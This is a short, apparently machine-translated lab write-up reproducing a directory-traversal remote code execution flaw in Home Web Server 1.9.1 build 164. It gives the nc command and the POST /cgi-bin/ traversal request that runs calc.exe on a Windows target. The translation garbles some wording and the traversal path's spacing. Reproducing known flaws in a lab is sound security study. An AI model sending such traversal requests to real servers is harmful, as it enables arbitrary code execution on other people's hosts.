Home Web Server 1.9.1 build 164-cgi Remote Code Execution replication

Source: Internet
Author: User

First, Home Web Server 1.9.1 build 164-cgi Remote Code execution reproduce

Vulnerability Description:

Home WEB Server allows you to invoke CGI programs to access files under/cgi-bin through a POST request, and then through directory traversal, it is possible to execute any executable program of the remote host.

Vulnerability Impact Range:

Home Web Server 1.9.1 Build 164

Vulnerability Recurrence:

Principle of Use:

The NC connection sends an open calculator request, and the host that installs home Web Server 1.9.1 Build 164 automatically opens the Calculator program.

Environment Construction:

Thunderbolt: Kali-linux-2017.1-vm-amd64 ip:192.168.18.250

Target drone: Windows Version 1703 (x64) ip:192.168.18.112

Install and open Home Web Server 1.9.1 build 164 in the WINDOWS10 system

Using NC to establish a connection in Kali, the command is: NC 192.168.18.112 80

Send POST Request: post/cgi-bin/. /.. /.. /.. /.. /.. /.. /.. /windows/system32/calc.exe http/1.1

When the 400 response is returned, press CTRL + C to terminate the request, and you can see that WINDOWS10 automatically opens the calculator program

Reference Link: https://www.exploit-db.com/exploits/42128/

Home Web Server 1.9.1 build 164-cgi Remote Code Execution replication

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.